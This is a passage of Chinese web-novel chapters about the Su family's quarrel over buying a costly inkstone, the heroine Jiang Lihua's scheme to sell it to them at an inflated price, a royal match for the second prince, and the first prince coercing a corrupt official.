“这怎么行!”邹氏连忙站起来,急忙道:“这可事关...你的前途,怎么能不拜师!”
苏清欢张了张嘴,她看向苏氏,低声问,“母亲,您真的觉得两间铺子比哥哥的前程还重要吗?”
若是在以前的话,苏继业肯定觉得苏清欢一心为哥哥着想,是一个难得的好妹妹。
但是他想到先前母亲被他们三人逼问的场景,就忍不住觉得苏清欢现在这样问母亲有点咄咄逼人了。
他压下心底的异样对苏清欢道,“姐,咱们家如今的情况母亲也说了,咱们拿不出那么多银子。”
苏建明看着吕氏,面色不虞,“你之前买的那些首饰呢,用不上的,其实可以处理...”
“爹!”苏继业听到苏建明这话,直接朝他嚷道:“咱们家还没有到那种要母亲卖首饰贴补家用的时候!”
“逆子,你敢吼我!”苏建明狠狠地瞪了苏继业一眼,“那是为了我吗?还不是为了你大哥!”
“大哥说了他不需要!”
“够了!”吕氏听到以前从来不会和儿子说一句重话的丈夫竟然骂小儿子逆子,她扬声打断父子两人的争吵,有些头疼的说道:“让我想想。”
她说罢转身要走,苏清欢则快步跟了上去,“母亲。”
吕氏停下脚步回头看向她,苏清欢上前挽着吕氏,轻声道:“母亲,哥哥的前途可不止六万两啊,我也是好不容易才和人谈好这个价格的,他只给我两天时间凑钱,两天一过,他就不卖了。”
苏清欢说完拍了拍吕氏的肩膀,“时辰不早了,女儿也不多留了,先回府了。”
吕氏看着苏清欢的背影,只觉得一个头两个大。
为什么所有的烦心事,随着那个女儿的回来,全都如约而至了。
说到底还是怪那个丧门星,她若不回来,她不会花那么些银钱去安抚欢儿,也不会为了弥补欢儿给欢儿置办那么丰厚的嫁妆,更不会因为她打了欢儿就给欢儿买那么贵的头面...
想到自己花出去的金银虽然都没有花在姜黎婳身上,但却因为姜黎婳而花出去的。
吕氏心头说不出来是什么感觉。
吕氏没有回自己的院子,而是去了一趟大儿子所在的院子,她走进屋中,大儿子正坐在窗边看书,小厮在给他收拾行李。
看到吕氏走进来,苏承印放下书,“母亲怎么过来了?”
“承儿,你怪不怪母亲不愿意卖了铺子去买砚台?”吕氏有些歉疚的看向苏承印。
苏承印蹙眉,“砚台只是一个敲门砖,最多能敲开太傅府的大门,至于上官家的门能不能敲开也不一定,母亲不必为了这事烦忧,一方砚台不足以让我们如此大费周章。”
吕氏欣慰,她走过去轻轻拍了拍苏承印的肩膀,“好孩子,若那砚台是上官先生喜欢的,那娘就是卖掉手中的所有铺子娘也愿意,但...那砚台是太傅喜欢的。”
不是上官先生喜欢的。
吕氏想到这里,忽然觉得自己好像忽略了什么重要的事情。
她用力去回想,却无法想起自己到底忽略了什么...
苏承印想到今日父亲和祖母对母亲的逼迫,他皱了皱眉,低声道:“母亲,儿子这些日子想要住在国子监中安心学习,就不回来了,父亲和祖母那里,若再逼迫母亲的话,你也不要妥协。”
苏承印想到这些日子自己对吕氏的态度,他有些懊恼的皱了皱眉头,好一会儿之后才低声道:“之前儿子是被猪油蒙了心,只想着旁门歪道了,忘了读书才是当下最要紧的事情,若之前儿子的所作所为让母亲您难受了,还请母亲不要与儿子一般见识。”
吕氏贴慰的摸了摸苏承印束起的长发,“好孩子,你是母亲的儿子,母亲怎么会怪你。”
苏承印点了点头,“今日母亲也奔波了一整日了,先回去休息吧,晚些儿子再过去陪您用饭。”
是夜。
姜黎婳给楚御礼施了针站起来,不小心踩到了长裙,整个人往旁边一偏直直的就朝楚御礼身上倒去,眼看就要扑在他身上的银针上,姜黎婳瞪大双眼,在千钧一发之际,张开双手,在楚御礼两侧的床上撑住,她死死地盯着距离自己下巴不到一厘米的银针。
好险!
差点就谋杀亲夫了!
“原来娘子喜欢这种。”楚御礼低沉又富有磁性的声音从她头顶传来。
姜黎婳长长的睫毛因为眨眼睛而扑闪扑闪的,抬眸看他的目光带着不解,“嗯?”
楚御礼眼神害羞,说话的声音都开始转弯了,“为夫如今被你扎了针,身子无法动弹,也只能任由娘子为所欲为了。”
姜黎婳:“......”
她猛地撑起双手坐直身子,接着狠狠地瞪了一眼施针都不老实的人,“殿下你也知道你现在无法动弹啊?”
“所以只能娘子若想要的话,只能劳烦娘子自己动了。”楚御礼笑容腼腆。
姜黎婳:“......”
每到这种时候,她真想把他的哑穴上也扎一针!
人都不能动弹了,嘴上还不饶人!
“我可不想谋杀亲夫。”姜黎婳摸了摸发红的耳根,睨着楚御礼身上的银针道:“银针在身上,气血阻滞,殿下也不要想一些让自己气血上涌的事情来,小心气血不通暴毙而亡。”
楚御礼:“......”
原来娘子也有生气的时候呢。
他笑了,“娘子会生气的模样,更生动,为夫更喜欢。”
姜黎婳:“......”
半个时辰后。
姜黎婳被楚御礼撩得浑身酥软,正准备接受他,却被楚御礼抱着一个翻身坐在了他上面,姜黎婳一个惊呼,声音是平日没有的娇软,“殿下?”
“娘子不是喜欢这样吗?”楚御礼借着朦胧的夜色看着她娇媚的脸颊,轻声道,“为了娘子,为夫愿意委屈自己,娘子在上,我在下。”
小半个时辰后,姜黎婳瘫软在被窝里,她想,让他太早把毒解了恢复精力,是不是一个错误的选择。
这人之前还能忍忍,现在是为了与她亲近,真是什么心眼都用上了!她都要怀疑他是不是葵花籽转世了!
真是一颗瓜子一个眼儿!
又会哄人又会撩人,让她到最后都忘了自己心底那点抗拒,人都只能由他摆布了...
第48章 有人欢喜有人忧
与姜黎婳和楚御礼房中的满室春情不同。
苏建明和吕氏夜半三更没睡觉,两人不是在你侬我侬,而是剑跋扈张。
吕氏穿着亵衣坐在床前的圆凳上,双目通红,脸颊上还带着泪水,苏建明则坐在床边,面色难看,一言不发。
两人不知僵持了多久,吕氏擦了擦眼泪道:“老爷你不必再说了,承儿他自己说了,不拜师了,我相信承儿能够得到一个好成绩,将来也必定能入朝为官,若是今年他不能高中,还有三年后,我和承儿等得起!”
“你这是说的什么糊涂话!”苏建明瞪眼,三年后子恒都已经二十四了,怎么能等得起!
如意一直想给恒儿说一个官家小姐当媳妇儿,但恒儿的身世在京城是年少丧父,与母亲相依为命的单亲孩子,京城的官员谁家愿意把女儿嫁给一个单亲家庭的秀才啊!怎么也得过了会试的贡士才能说得到一个好亲事啊!
更何况恒儿看上的那小姐也不是普通官家的小姐!
“这怎么是糊涂话?”吕氏眉头微蹙,她回头看向苏建明,“若承儿今年乡试没考上贡士,那我就给他娶媳妇儿,以咱们家的家世还有永宁伯府作保,承儿不愁娶不到好媳妇儿,男儿家先成家再立业的比比皆是,老爷担心什么?”
苏建明听到吕氏说苏承印的条件,就想起自己的大儿子,他气急,“这怎么能一样!承儿若是成了贡士,能挑选的亲事就更多了!况且那砚台送给太傅,咱们家也算是与太傅有点交情了,说不定还能和太傅家中成为姻亲,到时候...”
“老爷。”吕氏直接站起来打断苏建明的话,她看着苏建明,目光如炬,“您为何对那方砚台这么执着,又为何对太傅这么执着?”
苏建明眼底的心虚一闪而过,很快他又镇定下来,对吕氏露出一副失望的神色,“你这是什么意思?太傅是什么人?是当今圣上之师!是一品大员!是国子监的祭酒,也有可能是会试的考官!我与太傅交好,还不是为了儿子!”
身居两大要职,这可是只有沈太傅才有的殊荣!
若是恒儿的事情成了,将来他们苏家还不跟着鸡犬升天?
吕氏也意识到自己刚刚好像有些过分了,她语气放软了一些,“老爷,你要相信承儿,承儿自己也说了,他如今不想把事情放在拜师上了,他想专心读书,准备乡试。”
吕氏嘴上这么说,但心头还是在想,明日再去一次上官先生家,明日不行,就后日,她不相信,她这么虔诚的求见,上官先生还要一直避而不见。
苏建明却并没有因为她的语气放软而心情变好,反倒更加心烦气躁了,他的手在床上狠狠地一拍,“你不能从你母亲那里拿到端砚,如今欢儿好不容易打听到有人愿意卖出端砚,你又舍不得银钱了?”
吕氏的心当即沉了下去,她面容惨白,不可置信的看向苏建明,“在老爷心中,我吕月琴就是那样的人?”
“你现在不是舍不得吗?”苏建明蹙眉,语气僵硬。
吕氏嘲讽的笑了两声,苏建明脸色猛地变黑,“你笑什么?”
“老爷把你书房中的字画卖一些吧。”吕氏慢慢的坐回圆凳上,“再让婆母把我之前送她那些金首饰和银钱拿点出来凑凑,承儿毕竟是你苏家子孙,老爷和婆母出把力,也是应该的。”
“那些字画怎么能动!”苏建明当即红了脸,“那是我好不容易才收藏到的字画!还有母亲的首饰和银钱怎么能动!那些都是你送给她的,现在你好意思让她拿出来!”
吕氏忽地看向苏建明,她仿佛一瞬间看清楚了苏建明的真面貌一样,久久不能言语。
她为何以前没能发现自己的丈夫竟然是这么一个自私自利的人?
这才几日啊?他对待自己的差别就这么大。
一切都是从什么时候开始变的?
吕氏盯着苏建明的神色开始回想,好像是苏家搬家之后,她拿不出银子之后,他对自己的态度就变了...
苏建明被吕氏这眼神看得毛骨悚然,他不自在的皱了皱眉头,冷声道:“你盯着我做什么?我说错了?”
吕氏轻笑,没说话。
只是这笑声嘲讽,不似以前的讨好和温柔。
“你笑什么?”苏建明莫名其妙。
第49章 苏家母子的算计
吕氏再次登门上官先生家。
门房小厮打开门上的小窗看到今日只带了嬷嬷过来的吕氏,他无奈的叹了口气,道:“夫人,我们老爷不见客,也不收徒,您就别再来了,无论您来多少次,我们老爷都不会见您的。”
说完,门房小厮又把小窗关上。
吕氏瞧着紧闭的大门,满脸失望。
刘嬷嬷上前扶着吕氏往阶梯下走,“夫人,咱们回去吧。”
吕氏拍了拍刘嬷嬷的手没说话,刘嬷嬷只能默默扶着她上马车,吕氏刚踏上踏板,一辆马车就在他们马车旁边停下,一个儒雅清瘦的中年男人从马车上下来。
吕氏看过去,她眼睛一亮,也顾不得自己的行为是否无礼,慌忙从脚踏上下来,朝着男人走过去,“太傅大人。”
沈遇知看着忽然拦住自己去路的人,一时没想起对方是谁,但是看对方穿着不像是普通人,他往后退了一步,礼貌的点了点头,“这位夫人有事?”
“妾身吕氏,见过太傅大人。”吕氏对着沈遇知福了福身子。
沈遇知皱着眉头想了想,想起了吕氏的身份,他抬手回礼,“吕夫人有事?”
“妾身知道妾身这个请求很无理,但妾身实在是没办法了。”吕氏直接跪在地上,“那端砚妾身实在是买不起,但今日遇到了太傅大人,妾身想请太傅大人为小儿引荐一下,让上官先生能够看小儿一眼,哪怕只是一眼?”
沈遇知眉头微蹙,“吕夫人这话是什么意思?”
他沉着脸,“师父见不见你们那是师父决定的事情,我无权干涉,师父不愿见你们,若我出面引荐,师父怕是连我都不见了,告辞。”
沈遇知说完直接绕开跪在地上的吕氏,抬步朝台阶上走去,他敲响大门,房门的小厮打开小窗看到来人是沈遇知,二话不说就把小门打开请了沈遇知进去。
吕氏瞧着被关上的大门,紧紧地闭了闭眼睛,她回眸看了刘嬷嬷一眼,轻声道:“我真是没用,想替儿子做一件事情,却那么难。”
刘嬷嬷心疼的扶着吕氏起来,“咱们先回府吧。”
苏府,邹氏院中。
听儿子说让自己出一部分钱,邹氏的脸色瞬间难看了起来,她把屋中下人全都赶了出去,又让心腹婆子把院门守住不准任何人进来,这才拉着苏建明骂道:“我那些银子不是都给你拿去买院子给如意母子住去了吗!”
拿出那些银子的时候她还心痛了好久,如今存点看家底的银钱,儿子还要要走?
苏建明没看出母亲的心思,紧皱眉头,抱怨道,“可如今吕氏不愿意拿钱出来,若咱们不帮恒儿把关系打好的话,那恒儿这次秋闱定然是过不了的!”
大儿子肚子里面有几滴墨水,他一清二楚,否则也不至于这么些年连个贡士都考不上!今年他也是花了些心思,才把儿子送进国子监读书的。
这眼看就要秋闱了,总不能又让大儿子这次榜上无名吧?
再说儿子喜欢的人对儿子来说可是天上的星,若不先攀上关系,只怕对方不会看他一眼。
所以这端砚是怎么都得拿到的!即便太傅最后不会收恒儿当徒弟,但至少能留下个好印象,将来...
“吕氏这么狠心?”邹氏打算了苏建明的思绪,她面色铁青,语气带着算计,“搬出承儿的前程,她也不愿意出钱?她不愿意卖铺子,那就去找她女儿啊和娘家啊!永宁伯府那么有钱,她女儿又嫁了皇子,能拿不出几万两银子?”
“我才在大皇子手中吃了亏!哪儿还敢去触那个讨债鬼的霉头。”苏建明沉着脸,“因为砚台的事情,吕氏已经把永宁伯老夫人彻底得罪了,这时候上门借钱,他们肯定不愿意给的。”
邹氏听苏建明这话,满是皱纹的手在桌子上狠狠地拍了几下,她厉声道:“他们就是瞧不上我们苏家!”
苏建明拳头紧握,想到吕氏昨晚的话,他语气不好,“而且她昨晚说,承儿若考不上贡士,她就先给承儿选一门亲事,等三年后承儿再考!”他压低声音,“可三年啊,恒儿如何等得起!三年后,恒儿就二十四了!到时候想娶亲更难!”
想娶那沈家小姐更是难上加难!
“哎哟,我可怜的大孙子哟!”邹氏双手使劲在大腿上一拍,“我的大孙子还没娶媳妇,她儿子凭什么娶媳妇!”
第50章 给二皇子选妃
吕氏刚回到自己屋中,人还没坐下,就瞧见苏建明从外面匆匆走了进来,他脸色尴尬,嘴唇微抿,一副憋屈模样。
若是以前,吕氏定然会上前贴心的问丈夫是不是遇到什么不开心的事情了,但如今她不知为何,一眼就看得出,他那副模样是做给自己看的。
吕氏干脆闭上眼睛眼不见为净,但是想到自己今日在外的遭遇,她猛地睁开眼睛指着苏建明,一脸不耐的说道:“老爷若不愿意见到妾身,大可以不进妾身的院子,摆出这副神色给谁看?”
苏建明原本以为自己亲自过来了,吕氏再怎么着也会找个台阶自己下来了,但她却让他别进她院子?
这还是以前善解人意的吕氏?
“吕氏,你还要和我闹?”苏建明深深地吸了口气,“我今日为了承儿的事情,里外奔波,还特意去求了母亲,现在你就是这个态度和我说话?”
吕氏狐疑,“求了婆母?”
苏建明听吕氏声音缓和,他抬起下巴,眼中带着一些愧疚,“为了承儿,也只能对不起母亲了。”说着他看向吕氏,“我收藏的字画,也让人帮忙在处理了,我与母亲那里大概能凑出三万两银子,剩下的...”
“老爷还是想让我卖铺子?”吕氏蹙眉。
“少一间铺子的收入,咱们家也不会穷得揭不开锅,大不了今后我的俸禄都交给你保管。”苏建明憋屈的说完,害怕吕氏反悔,转身就走,“事情就这么定了,你尽快把铺子卖出去,咱们去买砚台。”
吕氏还没回过神来,苏建明已经离开院子了。
刘嬷嬷从门外走进来,看着坐在圆凳上发愣的吕氏,她低声道:“夫人,咱们真的要卖铺子吗?今日那太傅也说了,他干预不了上官先生收徒的。”
她不知道夫人有没有把沈太傅的话听进去,但她倒是听进去了,听沈太傅那话说的,好像他引荐了上官先生不喜欢的人,上官先生可能连他都不愿意见了。
这别到时候没有攀上太傅的关系,反倒把太傅给得罪了,那可就得不偿失了。
吕氏今日在上官家门外遇到的事情,她记得一清二楚,所以沈太傅的话,她自然也记得。
她想到丈夫对那方砚台的在意,又想到自己为了一方砚台与母亲闹翻...
她揉了揉眉心,对刘嬷嬷道,“你去告诉老爷,砚台不买,我不会改变心意卖铺子的。”
已经让人卖了字画的苏建明听到这话,气得直接冲进了吕氏的院子与吕氏大闹了一通...
夕阳西下,落日黄昏中,姜黎婳与楚御礼在人工湖中的凉亭中用膳,一直让人盯着苏家的楚御礼把苏家今日发生的事情告诉了姜黎婳,“看来你想卖砚台这事儿,要落空了。”
一天没见楚御礼的姜黎婳早已经把上午窘迫时候决定的事情抛到了九霄云外,此时听楚御礼这么说,她也没有太大的反应,夹起一块糖醋排骨放进碗中后才说,“真没想到她竟然变聪明了,没有蠢到真的为了苏家把自己搞得身无分文,倒也不是无药可救。”
说完夹起排骨放进嘴里,排骨软烂一嗦脱骨,肉瘦而不柴,酸甜软嫩,好吃...
楚御礼瞧着她吃东西那一脸享受的模样,忍不住笑了,看到她嘴角挂着的肉汁,他伸手帮她把嘴角的汁水擦干净,“小花猫。”
姜黎婳扬了扬眉梢,“殿下今天一整日都在忙什么?”
“进了宫一趟,与母后商量了一些事情。”楚御礼收回手,不予多说,“具体什么事情,很快你就会知道了。”
他才不想在和亲亲娘子在一起的时候,提起那些晦气的人。
姜黎婳也不多问,点了点头,“好。”
“你呢,苏家的事情就这么算了?”楚御礼看着眼前对着自己说的那些话只说了一句观点的美人儿,眼里闪过一丝好奇,“嗯?”
姜黎婳笑了,“怎么会?他们不卖铺子,我不过是少赚了一笔而已,让他们苏家闹得天翻地覆才是我真正的目的。”
楚御礼放下筷子,“愿闻其详。”
“先吃饭,吃了我再慢慢和殿下说。”姜黎婳说着给楚御礼夹了一块排骨,“很好吃,殿下尝尝。”
第51章 姜黎婳:苏建明你还要脸吗
皇帝自然也知道二儿子的德行,若找一个温柔小意的小姐当皇子妃,怕是成亲以后日日以泪洗面,可如今朝臣中,他还真想不到谁家女儿能镇得住二皇子。
皇帝下意识的问皇后,“皇后这里可知道谁家小姐合适?”
皇后听皇帝这么问,温柔地笑了,她给皇帝按头的力度也越发轻柔,“臣妾还真的知道有一人适合二皇子,她不仅能镇住二皇子,家世也算是配得上二皇子,更重要的事,她父亲与冯丞相向来不和,也能避免陛下担忧的事情发生。”
皇帝眼里闪过一丝兴色,“哦?”
谁家的女儿?他怎么没听说过?
“监察司御史中丞鲁金华的女儿鲁卿秋。”皇后停下手中的动作,笑容可掬“这鲁小姐三年前因丧母需要守孝不能成亲,被未婚夫家退了亲事,如今正值双十年华,她容貌虽然不是顶尖,但也算上乘,且她肩宽跨大是个好生养的,若今年成亲,来年陛下定能抱上大胖孙子。”
皇帝听到是鲁金华的女儿之后是很满意的,这鲁金华当御史二十多年,起码有十年的时间都在弹劾冯胜文,两人是朝中出了名的死对头,是那种马车在街上遇到都要朝对方吐上两口唾沫的关系。
但听到鲁卿秋的年纪和退过亲的事情,皇帝的眉头就皱了起来,“比明暄大两岁还退过亲?”
“女大三抱金砖。”皇后不赞同皇帝这话,她语重心长的对着皇帝道,“二皇子本就不懂事,若再找个年纪小的怎么镇得住?再说她被退亲也不是因为犯了错,而是亡母,退亲这件事情也是夫家理亏,若咱们这时候给鲁家赐婚,还是二皇子,这鲁御史不得对陛下感恩戴德?”
皇帝听皇后这么说,脸色好看了许多。
见皇帝面色微缓,皇后继续道:“主母定是要找稳重大方的,这鲁御史的家风谁敢说不好?况且臣妾听说这鲁小姐是个雷厉风行的性子,有了她这么一个皇子妃,陛下还怕二皇子再闹出笑话?”
皇帝眉头微蹙,“当家主母的确要大方稳重才是。”
“是啊,温柔小意的,年纪小的,那以后当个侧妃或者侍妾什么的都可以,但主母定要能压得住二皇子的。”皇后说到这里,叹气道:“要不是陛下这么头疼,臣妾定然不愿意当这个恶人的,若慧贵妃知道臣妾在皇上您耳边吹耳旁风的话,还不得把臣妾这凤仪宫给掀了?”
“她敢?”皇帝知道这些年慧贵妃给了皇后不少气受,他拍了拍皇后的手道,“如今她还在禁足,即便不在禁足,你是这后宫之主,她不过一个贵妃,还敢在你面前嚣张?”
“哼。”皇后嗔了一声,推开皇帝,“有陛下护着,她有什么不敢的。”
皇帝已经决定了要给二儿子指婚鲁御史的女儿,心头的压着的事情解决了,心情也好了,瞧皇后故意使性子,他笑着坐起来搂着皇后的腰,“皇后还不知道朕向来最维护的人,是你吗?”
.......
姜黎婳一觉醒来身边已经没有人了,这些日子楚御礼总是早出晚归,她也不知道他在忙什么,他没有主动说,她也就不问。
用了早膳后,知夏急匆匆的从外走了进来,说是苏府的人求见。
姜黎婳眉头微蹙,语气骤然变冷,“谁?”
“是苏大人。”
姜黎婳差不多猜到了苏建明的来意,只是她没想到这苏建明竟然还敢来,她轻哼一声站起来,“果然不当尚书了,人都清闲了许多,大清早的不在六部待着,还跑到大皇子府来了。”
铃铛跟在往前厅而去的姜黎婳身后撇嘴,“大概因为皇子府离着皇城近。”
姜黎婳:“......”
她回头看了铃铛一眼,“你还真会为人找借口。”
“奴婢不是那个意思。”
姜黎婳当然知道铃铛不是在为苏建明说话,她刚刚不过是在逗铃铛而已。
前厅正在喝茶的苏建明看到姜黎婳在婢女的拥簇下走进来,他不敢在摆谱,连忙从椅子上站起来,给姜黎婳行礼,“见过大皇子妃。”
“起来吧。”姜黎婳看都懒得看苏建明一眼,直接走到高位上坐下,“苏大人忽然造访,是有什么事情吗?”
“是有一件小事。”苏建明脸色涨红,昨日他与吕氏大吵一架,但吕氏说什么都不愿意再卖铺子,而清欢那边本来就因为世子在回门那日被大皇子打了的缘故,她在国公府的日子不好过,若这时候他再上门借钱,怕是更会被为难。
第52章 苏建明买到砚台,二皇子婚事定下
苏建明捂着被留下巴掌印的脸离开了大皇子府。
姜黎婳看着对自己恭恭敬敬的张嬷嬷,她张了张嘴,还没问出来,张嬷嬷就笑着道:“是大殿下吩咐的,他让奴婢时刻跟在殿下您的身边,绝对服从您的命令,不让您受半点委屈。”
所以刚刚大皇子妃一下令,她就立刻冲上来打人了。
这绝对服从的态度,不要太好。
姜黎婳干笑了两声,“他还真周到。”
这皇子府上谁能给她委屈受?难道他已经预料到了苏府的人会找上门来?
想到苏建明登门的目的,姜黎婳眼珠一转,难道是那外室那里给苏建明压力了?所以苏建明才这么想把那方砚台买到手?
想到这种可能性,姜黎婳抬步就朝外走,“备马车。”
苏建明离开大皇子府后没有直接回家,而是去了钱庄,想从钱庄借钱。
坐在茶楼中等佟掌柜的姜黎婳听到铃铛这话,嘴角一勾,“找人把他引到地下钱庄去。”
铃铛闻言立刻明白了姜黎婳的意思。
在江南首富家中长大的丫头,自然什么都懂,钱庄和地下钱庄虽然只差两个字,但是两者之间收账的差别可就大了。
铃铛刚离开,佟掌柜就进来了,看到姜黎婳他恭敬上前行礼,起身后对姜黎婳道,“他们还没上门买。”
“不着急,很快他们就会上门来买了。”姜黎婳嘴角勾起一抹淡漠的笑容,她也没想到这苏建明为了自己的大儿子,竟然愿意做到放下脸皮到钱庄借钱的地步。
半个时辰后,铃铛兴高采烈的推开了房门,佟掌柜这时候已经听姜黎婳的话,回去带着‘袁老板’在家等着买主登门了。
瞧铃铛这么开心,姜黎婳挑眉,“事情办成了?”
“嗯,借了三万两,月息十点。”铃铛笑眯眯的说道,“两个月还清。”
姜黎婳挑了挑眉,嘴角一勾,“那咱们就回去等好消息吧。”
......
苏建明拿着六万两银票带着苏清欢登上了袁宅大门。
袁老板接过六万两银票,摇头道:“你们若再晚一些来,这砚台我就卖给赵公子了。”
他说着把桌上的砚台直接推到苏建明面前。
苏建明终于看见了自己执着已久的端砚,他摸了好几下,点头道:“果然好东西就是不一样。”
袁老板冷哼,“这可是上等的端砚,不然我敢收你们这个价钱?赵公子可就是想买我这砚台送给太傅大人呢。”
苏建明不喜和商人往来,听袁老板这么说,他也没有回应,把砚台装好,带着苏清欢一同离开了。
袁老板看着两人的身影完全消失了,才捧着六万两银票往后院走,把银票交到佟掌柜手上的时候他还觉得有些不真实,“咱们真的把一方砚台卖了六万两?”
“利益熏心,难免上当。”佟掌柜把六万两银票收入怀中,对着袁老板道,“一会儿你就跟着商队南下,之后就在老家好好陪一下家人,这两年不用回京了。”
袁老板听佟掌柜这么说,笑眯了眼睛,“那感情好,我这就回去收拾了。”
佟掌柜吩咐府上婢女、仆从,“把这些布置都撤了,匾额就先留着。”
今日是袁老板给的最后期限,也是邹如意给苏建明的最后期限,她见苏建明和苏清欢父女走进来,苏清欢身后的婢女雪儿还抱着一个红木盒子,她当即喜笑颜开的迎了上去,“买到了?”
第53章 大皇子的两幅面孔
苏建明虽然帮大儿子买到了砚台,但晚上回家依旧没有给吕氏好脸色看,反而指责吕氏生的女儿不懂孝道,连亲生父亲都敢打。
吕氏听着苏建明满是埋怨的话,脑海中闪过姜黎婳咄咄逼人的画面,她刚想出声安抚苏建明,耳边忽然响起母亲骂自己的话,“若不是那个鸠占鹊巢的东西,你的女儿就会在你身边被你教养长大,你的怜爱和你送给那假货的东西都是她的!你不怪自己护不住亲生女儿,还反倒怪起一个无辜的孩子了?这些都是你欠她的!”
吕氏脑子像是忽然清醒了一样,她抬眸看向苏建明,声音沙哑,“她虽是我们的亲生女儿,但这些年我们没养过她一日!你怎好意思让她对你尽孝的?”
苏建明像是见鬼一般盯着说出这些话的吕氏,“不知所谓!她身上流着我的血,那就该对我尽孝!”
说完他甩袖离去。
吕氏则怔怔的坐在圆桌旁边,回想着姜黎婳回府之后的点点滴滴。
虽然记不清楚,但能想起来的每个画面中,她都从来没有和她好好说过一句话,每次都是警告她不准欺负苏清欢,不准抢苏清欢的东西,即便她什么都没做...
吕氏的心忽然像是被什么东西死死的揪着一般,疼得她呼吸不过来,她捂着胸口趴在桌子上,眼泪从眼角一滴一滴的落了下来。
......
姜黎婳躺在偏厅窗边的软榻上端详着手中捏着的四万两银票,轻笑,“这京城的确是个好地方。”
竟然真的有傻子会为了一方砚台上这种当。
知夏拿着蒲扇站在一旁给她扇风,见她神色不算开心,便问,“小姐您这么做又不会开心,为何还做?”
“你什么时候看到我不开心了?”姜黎婳把银票随手扔到手边的矮几上,眼里没什么温度,“只要能折磨苏家的人,我就很开心。”
端着绿豆汤进来的铃铛听姜黎婳这么说,撇了撇嘴,“您这明明就是不开心,你以前开心的时候,笑得可好看了。”
姜黎婳瞪了她一眼,坐起身来接过冰镇绿豆汤,“就你懂得多。”
“娘子为何不开心呢?”一身青衣的楚御礼从门外走进来,即便他已经梳洗过了,姜黎婳还是从他身上感受到了风尘仆仆的味道。
“殿下回来了。”
楚御礼在她身边坐下,倾身就着她的手喝她捧着的绿豆汤,喝了两口后才起身,又问,“谁惹你不开心了?”
姜黎婳干脆把绿豆汤送到他嘴边喂他把整碗绿豆汤都喝了,然后把汤碗放下,拿起旁边的四万两银票,挑眉,“除掉本金,净赚四万两,我开心得很,你别听她们瞎说。”
楚御礼看着她手中的四万两,他掩下眼底的疲惫之色,笑着道:“恭喜娘子,达成目的大赚一笔。”
说着他把头靠在姜黎婳的肩膀上,“为夫靠一会儿。”
姜黎婳垂眸看了一眼把头靠在自己肩膀上的人,轻声道:“殿下若累了,不如回床上歇会儿?”
“一整日都在外面忙,现在就想在娘子身边待会儿。”楚御礼不但不起身,反而伸手抱住姜黎婳的腰肢,“就一会儿。”
姜黎婳看了一眼粘人的皇子,无声叹气,若是可以的话,她真的很想问一下苏清欢,她上辈子是不是嫁了一个假皇子?
楚御礼靠在姜黎婳的肩膀上几乎很快就睡了过去,姜黎婳轻声把他喊醒,“我陪你去床上睡?”
夜半三更,被热醒的姜黎婳伸手往旁边摸了摸,身边的天然冰块不见了,她翻身坐起来,没看到人,看了一眼外面的天色确认是半夜...
“这么晚了这人跑哪儿去了?”姜黎婳起身,不会是又偷偷摸摸锻炼去了吧?
想到上一次这人禁欲十几天之后简直猛如虎,姜黎婳觉得这人根本不用再锻炼了。
她往外走,睡在外间的知夏被姜黎婳的动静吵醒,见姜黎婳穿着亵衣出来,她连忙点燃蜡烛,“小姐,您要起夜?”
“殿下呢?”姜黎婳问。
“您睡着之后,昭临找大皇子,大皇子让我们不要吵醒您,就离开了。”
姜黎婳眉稍微蹙,“有事?”
“奴婢也不清楚。”
......
与大皇子府只隔了一条街的一处院子中。
被蒙着头的中年男人跪在地上不断求饶,在他身后的冽风浑身带着肃杀之气,男人感受到身后之人的气息,吓得瑟瑟发抖,“好汉,您给指条明路,要钱还是要权?咱们都好商量啊!”
“不愧是吏部尚书,真是要钱有钱要权给权啊。”楚
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御礼丹凤眼中带着冰霜,他抬手示意了一下站在男人身后的冽风,冽风手上长剑一挑,他头上蒙着的黑布被劈成两半,他也看清了坐在自己面前的人。
周念生看清坐在自己对面的人,他眉头一皱,脸色也沉了下去,半点不见先前的惧怕,他冷冷的对着楚御礼道,“大殿下,身为皇子,**朝廷命官,你可想好如何向陛下交代了?”
“周大人在担忧孤如何向父皇交代之前,还是先想想自己如何向父皇交代吧。”楚御礼说着把手中的证据砸在周念生脸上,“买卖官职,收**赂,你的好儿子更是和二皇子是一丘之貉,强抢民女,**放火。”
楚御礼瞧着慌忙从地上捡起那些证据的周念生,冷漠的勾了勾嘴角,“周大人,你说孤是把这些证据全都交给父皇,还是...”
“大皇子!臣是冤枉的,这些都是假的!”周念生方才的镇定如昙花一现般瞬间消失,跪在地上不断地给楚御礼磕头,“求您相信臣。”
“孤要如何相信你?”楚御礼手指轻轻地在金丝楠木的椅子扶手上敲打着,“孤从来只相信自己眼睛看到的,绝对不会相信空口狡辩的。”
“大皇子要臣如何做才相信臣?”周念生惶恐的抬头看着居高临下睨着自己的楚御礼,在这一刻他忽然觉得这个大皇子也许并不是命不久矣的病猫,而是一只一直隐藏在黑夜中的猎豹,他在盯着所有人,并在合适的机会把他们这些有异心的人致命一击。
“那要看周大人有没有诚意了。”楚御礼微微俯身,手肘撑在膝盖上,俯视着跪在地上的周念生,“告诉孤,冯丞相的同盟,还有谁。”
周念生跌坐在地上。
他怎么知道自己已经坐上了冯丞相的船?
若让陛下知道自己已经投靠了冯丞相,他怕是吃不了兜着走。
“不想说?”楚御礼坐直身子,冷笑,“这里离皇城很近,是前朝靖王的府邸,你说你死在这里,会有人知道吗?”
随着楚御礼的话音落下,冽风手中的长剑出窍,冰冷的刀锋贴在了周念生的脖子上。
周念生只感觉脖子上传来疼痛的感觉,接着黏糊糊的血液从脖子浸入衣襟,他身下立刻露出一片黄渍,他惊慌的哭道,“我说,我说!”
第54章 苏承印得知私生子身份
翌日,国子监。
今年准备秋闱的考生有条件的学子几乎都在国子监中求学。
现在是课休时间,苏承印抱着书坐在靠窗的位子心无旁骛的学习,这时候他的好友走过来在他身边坐下,笑着道:“这么认真?想给你嫁入皇室的妹妹争口气?”
苏承印眉头一皱,沉声道:“我学习考功名是为了自己。”
“啧啧,以你苏大公子的才学,难道还怕考不上贡士?”男子抽出他手中的书,“课休时间都不休息,没必要这么刻苦吧?”
“赵旭庭,你无不无聊?”苏承印无奈的看着赵旭庭,“把书还我。”
赵旭庭耸肩把书换给她,“你在这儿努力有什么用,听说隔壁苏子恒家中给他花重金买到了一台端砚,人家很快就要请假去给太傅送礼了。”
“就他肚子里那二两墨水,即便是把皇城搬空了给太傅,也考不上。”苏承印不为所动,重新把目光放在书本上。
